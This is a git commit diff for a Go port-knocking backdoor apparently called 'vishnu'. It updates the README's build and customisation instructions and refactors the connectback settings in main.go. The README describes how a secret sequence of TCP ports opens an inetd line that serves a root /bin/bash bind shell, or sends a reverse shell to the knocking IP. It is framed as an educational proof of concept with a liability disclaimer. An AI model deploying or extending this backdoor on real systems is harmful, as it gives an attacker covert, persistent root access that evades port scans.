final updates + readme cleanup
This commit is contained in:
45
README.md
45
README.md
@@ -7,7 +7,7 @@ Most backdoors usually have port listening and they can be easily be found by do
|
||||
|
||||
* Note: This backdoor is not perfect, this was written in one night and again, it was a PoC :)
|
||||
|
||||
# Technical Details
|
||||
## Technical Details
|
||||
At the beginning of the file, there are some configurations that needs to be set. Like what interface you want to listen to and what type of filter you want.
|
||||
|
||||
With the use of [gopacket](https://github.com/google/gopacket) which is a wrapper around libpcap, the program is able to read every packets that comes through the specific network interface. With this PoC, it is looking for SYN packets(this can be changed to whatever), if it is not, the packets are ignored. If the packet is a SYN, it looks at the destination port.
|
||||
@@ -17,38 +17,41 @@ In order for the hidden port to be open, the sequence of destination ports have
|
||||
After the comparison is done and matches, a random port between 100 and 65535 will be open by using the program `inetd`. You can learn more about [here](http://ibgwww.colorado.edu/~lessem/psyc5112/usail/network/services/inetd.html). Basically, it's an easy way to listen for connection on certain ports and you can decide what user should run a service and what service you want to run. In my case, I use this `<port> stream tcp nowait root /bin/bash bash`. When connected on that port, you are presented with a root bash bind shell.
|
||||
|
||||
|
||||
# NOTE: This doesn't work well with VPN, you have to be on the same network
|
||||
### NOTE: This doesn't work well with VPN, you have to be on the same network
|
||||
|
||||
# How to compile and Use
|
||||
targetInterface is the interface you want to be listening on. To be more district, you can also change the secretPorts to whatever you want.
|
||||
## How to compile and Use
|
||||
### Linux
|
||||
There is one static value that is needed in order for this to work properly on Linux. It is listed below:
|
||||
|
||||
```
|
||||
var (
|
||||
targetInterface = "ens160"
|
||||
secretPorts = []int{1, 2, 3, 4}
|
||||
)
|
||||
```
|
||||
- The string value being returned, found in `spec/spec_linux.go`, in the `GetAdapter()` function. It is set to return `"ens160"` by default. Modify this value as you see fit.
|
||||
|
||||
To compile, you need libpcap. On linux, you can install by running `sudo apt install libpcap-dev`. Then you can run `go build src/vishnu.go` to generate a binary.
|
||||
To compile, you need libpcap. On linux, you can install by running `sudo apt install libpcap-dev`.
|
||||
|
||||
For the port opening, make sure you have `inetd` installed. If you are not sure, run `apt install openbsd-inetd`.
|
||||
|
||||
## Connectback Shell
|
||||
Then you can use `make agent-linux` to generate the binary.
|
||||
### Windows
|
||||
In order for the binary to work correctly on Windows, `npcap / winpcap` needs to be installed. You can find it here: https://nmap.org/npcap/
|
||||
|
||||
Once this is done, run `make agent-windows` to create the executable.
|
||||
|
||||
### Customizations
|
||||
There are few other modifications that can be made in the targetInfo struct. Go to the `sInit` function in `main.go` and modify the values as you see fit listed below:
|
||||
- `secretPorts` : this int array holds the ports that will be used for knocking
|
||||
- `connectBack` : boolean value for linux for a bind or connectback shell
|
||||
- `connectBackPort` : if connectback is being used, this string value is the port that will be utilized.
|
||||
|
||||
### Connectback Shell Info
|
||||
|
||||
You can optionally have the backdoor operate in connectback mode - where after successfully knocking a shell is sent back to the knocking IP on a predetermined port.
|
||||
|
||||
Be careful doing this behind NAT as while knocking will work, the shell won't get back to you. You'll need to do port forwarding or listen for the shell on a public IP.
|
||||
|
||||
```
|
||||
const (
|
||||
connectback = true
|
||||
connectbackPort = "8080"
|
||||
)
|
||||
```
|
||||
For use on Windows, the connectback method is used.
|
||||
|
||||
# Potential future works
|
||||
* Design it to work for multiple operation systems(https://haydz.github.io/2020/07/06/Go-Windows-NIC.html )
|
||||
## Potential future works
|
||||
* ~~Design it to work for multiple operation systems(https://haydz.github.io/2020/07/06/Go-Windows-NIC.html )~~
|
||||
* Dynamic secret ports so they are not predictable.
|
||||
|
||||
# Disclamers
|
||||
## Disclaimers
|
||||
The author is in no way responsible for any illegal use of this software. It is provided purely as an educational proof of concept. I am also not responsible for any damages or mishaps that may happen in the course of using this software. Use at your own risk.
|
||||
|
||||
30
main.go
30
main.go
@@ -28,18 +28,12 @@ type targetInfo struct {
|
||||
// how far into the sequence we are
|
||||
// when secretCounter == len(secretPorts),
|
||||
// port knocking is complete and shell is given
|
||||
secretCounter int
|
||||
lastPort layers.TCPPort
|
||||
secretCounter int
|
||||
lastPort layers.TCPPort
|
||||
connectback bool
|
||||
connectbackPort string
|
||||
}
|
||||
|
||||
const (
|
||||
// if true, connect back to knocking
|
||||
// IP on connectbackPort
|
||||
connectback = false
|
||||
// only relevant if connectback is true
|
||||
connectbackPort = "8080"
|
||||
)
|
||||
|
||||
// create target info struct
|
||||
func sInit(os string) *targetInfo {
|
||||
tInfo := targetInfo{}
|
||||
@@ -52,6 +46,12 @@ func sInit(os string) *targetInfo {
|
||||
tInfo.secretPorts = []int{1, 2, 3, 4}
|
||||
tInfo.secretCounter = 0
|
||||
|
||||
// if true, connect back to knocking
|
||||
// IP on connectbackPort
|
||||
tInfo.connectback = false
|
||||
// only relevant if connectback is true
|
||||
tInfo.connectbackPort = "8080"
|
||||
|
||||
return &tInfo
|
||||
}
|
||||
|
||||
@@ -71,8 +71,8 @@ func main() {
|
||||
}
|
||||
|
||||
func vishnu(ip string, tInfo *targetInfo) {
|
||||
if connectback || tInfo.os == "windows" {
|
||||
spec.ConnectBack(ip, connectbackPort)
|
||||
if tInfo.connectback || tInfo.os == "windows" {
|
||||
spec.ConnectBack(ip, tInfo.connectbackPort)
|
||||
} else {
|
||||
randomPort := rand.Intn(65535-100) + 100
|
||||
// println("The doors are open on port ", strconv.Itoa(randomPort))
|
||||
@@ -110,8 +110,8 @@ func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
|
||||
// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
|
||||
// Check dst port for secret port
|
||||
tInfo.lastPort = tcp.DstPort
|
||||
|
||||
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
|
||||
|
||||
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
|
||||
tInfo.secretCounter++
|
||||
tInfo.lastPort = tcp.DstPort
|
||||
} else if tInfo.secretCounter != 0 && tInfo.lastPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter-1]) { // fixed TCP 2x duplication issue
|
||||
@@ -129,7 +129,7 @@ func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
|
||||
ip, err := grabRemoteIP(packet)
|
||||
// TODO maybe just listen if connectback is
|
||||
// on and we can't get the remote IP
|
||||
if connectback && err != nil {
|
||||
if tInfo.connectback && err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user